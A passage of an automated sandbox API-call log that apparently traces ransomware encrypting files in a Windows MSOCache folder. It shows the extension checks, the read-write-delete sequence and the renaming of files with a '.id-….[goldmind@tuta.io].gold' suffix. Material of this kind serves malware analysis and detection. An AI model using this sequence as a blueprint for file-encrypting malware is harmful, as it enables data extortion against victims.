(lpString1=".1cd", lpString2=".dll") returned -1 [0044.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0044.729] lstrlenW (lpString=".jpg") returned 4 [0044.729] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0044.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0044.729] lstrlenW (lpString=".doc") returned 4 [0044.729] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.729] lstrlenW (lpString=".docx") returned 5 [0044.729] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0044.729] lstrlenW (lpString=".pdf") returned 4 [0044.730] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.730] lstrlenW (lpString=".xls") returned 4 [0044.730] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.730] lstrlenW (lpString=".xlsx") returned 5 [0044.730] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0044.730] lstrlenW (lpString=".ppt") returned 4 [0044.730] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0044.730] lstrlenW (lpString=".zip") returned 4 [0044.730] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.730] lstrlenW (lpString=".rar") returned 4 [0044.730] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.730] lstrlenW (lpString=".bz2") returned 4 [0044.730] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.730] lstrlenW (lpString=".7z") returned 3 [0044.730] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0044.730] lstrlenW (lpString=".dbf") returned 4 [0044.730] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0044.730] lstrlenW (lpString=".1cd") returned 4 [0044.730] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0044.730] lstrlenW (lpString=".jpg") returned 4 [0044.730] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.730] lstrcmpiW (lpString1=".xrm-ms", lpString2=".gold") returned 1 [0044.730] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0044.730] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.009] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=715834) returned 1 [0045.009] CloseHandle (hObject=0x1a0) returned 1 [0045.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0045.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0045.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.010] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.010] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.010] GetLastError () returned 0x0 [0045.010] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0045.084] WriteFile (in: hFile=0x184, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0045.094] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.094] WriteFile (in: hFile=0x184, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x104, lpOverlapped=0x0) returned 1 [0045.095] SetEndOfFile (hFile=0x184) returned 1 [0045.095] CloseHandle (hObject=0x184) returned 1 [0045.095] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.095] SetEndOfFile (hFile=0x1a0) returned 1 [0045.099] CloseHandle (hObject=0x1a0) returned 1 [0045.099] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0045.099] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0045.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.100] lstrlenW (lpString=".doc") returned 4 [0045.100] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString=".docx") returned 5 [0045.100] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0045.100] lstrlenW (lpString=".pdf") returned 4 [0045.100] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString=".xls") returned 4 [0045.100] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString=".xlsx") returned 5 [0045.100] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0045.100] lstrlenW (lpString=".ppt") returned 4 [0045.100] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.100] lstrlenW (lpString=".zip") returned 4 [0045.100] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString=".rar") returned 4 [0045.100] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString=".bz2") returned 4 [0045.100] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString=".7z") returned 3 [0045.100] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0045.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.100] lstrlenW (lpString=".dbf") returned 4 [0045.100] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.100] lstrlenW (lpString=".1cd") returned 4 [0045.100] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.100] lstrlenW (lpString=".jpg") returned 4 [0045.100] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.100] lstrlenW (lpString=".doc") returned 4 [0045.100] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString=".docx") returned 5 [0045.100] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0045.100] lstrlenW (lpString=".pdf") returned 4 [0045.100] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString=".xls") returned 4 [0045.100] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString=".xlsx") returned 5 [0045.100] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0045.100] lstrlenW (lpString=".ppt") returned 4 [0045.100] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.100] lstrlenW (lpString=".zip") returned 4 [0045.100] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0045.100] lstrlenW (lpString=".rar") returned 4 [0045.100] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0045.101] lstrlenW (lpString=".bz2") returned 4 [0045.101] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0045.101] lstrlenW (lpString=".7z") returned 3 [0045.101] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0045.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.101] lstrlenW (lpString=".dbf") returned 4 [0045.101] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0045.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.101] lstrlenW (lpString=".1cd") returned 4 [0045.101] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0045.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.101] lstrlenW (lpString=".jpg") returned 4 [0045.101] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0045.101] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0045.101] lstrlenW (lpString="ose.exe") returned 7 [0045.101] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.104] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=174440) returned 1 [0045.104] CloseHandle (hObject=0x1a0) returned 1 [0045.104] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0045.104] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0045.104] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.104] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.104] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.104] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0045.235] GetLastError () returned 0x0 [0045.235] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0045.295] WriteFile (in: hFile=0x20c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0045.297] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.298] WriteFile (in: hFile=0x20c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0045.298] SetEndOfFile (hFile=0x20c) returned 1 [0045.553] CloseHandle (hObject=0x20c) returned 1 [0045.553] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.557] SetEndOfFile (hFile=0x1a0) returned 1 [0045.590] CloseHandle (hObject=0x1a0) returned 1 [0045.590] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0045.590] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0045.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.591] lstrlenW (lpString=".doc") returned 4 [0045.591] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.591] lstrlenW (lpString=".docx") returned 5 [0045.591] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0045.591] lstrlenW (lpString=".pdf") returned 4 [0045.591] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.591] lstrlenW (lpString=".xls") returned 4 [0045.591] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.591] lstrlenW (lpString=".xlsx") returned 5 [0045.591] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0045.591] lstrlenW (lpString=".ppt") returned 4 [0045.591] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.591] lstrlenW (lpString=".zip") returned 4 [0045.591] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.591] lstrlenW (lpString=".rar") returned 4 [0045.591] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.591] lstrlenW (lpString=".bz2") returned 4 [0045.591] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.591] lstrlenW (lpString=".7z") returned 3 [0045.591] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.591] lstrlenW (lpString=".dbf") returned 4 [0045.591] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.591] lstrlenW (lpString=".1cd") returned 4 [0045.591] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.591] lstrlenW (lpString=".jpg") returned 4 [0045.591] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.591] lstrlenW (lpString=".doc") returned 4 [0045.591] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.591] lstrlenW (lpString=".docx") returned 5 [0045.591] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0045.591] lstrlenW (lpString=".pdf") returned 4 [0045.592] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.592] lstrlenW (lpString=".xls") returned 4 [0045.592] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.592] lstrlenW (lpString=".xlsx") returned 5 [0045.592] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0045.592] lstrlenW (lpString=".ppt") returned 4 [0045.592] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.592] lstrlenW (lpString=".zip") returned 4 [0045.592] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.592] lstrlenW (lpString=".rar") returned 4 [0045.592] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.592] lstrlenW (lpString=".bz2") returned 4 [0045.592] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.592] lstrlenW (lpString=".7z") returned 3 [0045.592] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.592] lstrlenW (lpString=".dbf") returned 4 [0045.592] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.592] lstrlenW (lpString=".1cd") returned 4 [0045.592] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.592] lstrlenW (lpString=".jpg") returned 4 [0045.592] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.592] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0045.592] lstrlenW (lpString="setup.exe") returned 9 [0045.592] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.275] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1377656) returned 1 [0046.275] CloseHandle (hObject=0x214) returned 1 [0046.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0046.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.275] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.275] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0046.276] GetLastError () returned 0x0 [0046.276] ReadFile (in: hFile=0x214, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0046.303] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0046.316] ReadFile (in: hFile=0x214, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x50588, lpOverlapped=0x0) returned 1 [0046.326] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0046.332] ReadFile (in: hFile=0x214, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.333] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.333] SetEndOfFile (hFile=0x18c) returned 1 [0046.333] CloseHandle (hObject=0x18c) returned 1 [0046.333] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.333] SetEndOfFile (hFile=0x214) returned 1 [0046.335] CloseHandle (hObject=0x214) returned 1 [0046.335] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0046.336] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0046.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0046.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0046.336] lstrlenW (lpString=".doc") returned 4 [0046.336] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.336] lstrlenW (lpString=".docx") returned 5 [0046.336] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0046.336] lstrlenW (lpString=".pdf") returned 4 [0046.336] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.336] lstrlenW (lpString=".xls") returned 4 [0046.336] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.336] lstrlenW (lpString=".xlsx") returned 5 [0046.336] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0046.336] lstrlenW (lpString=".ppt") returned 4 [0046.336] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.336] lstrlenW (lpString="C:\\MSOCache\\All 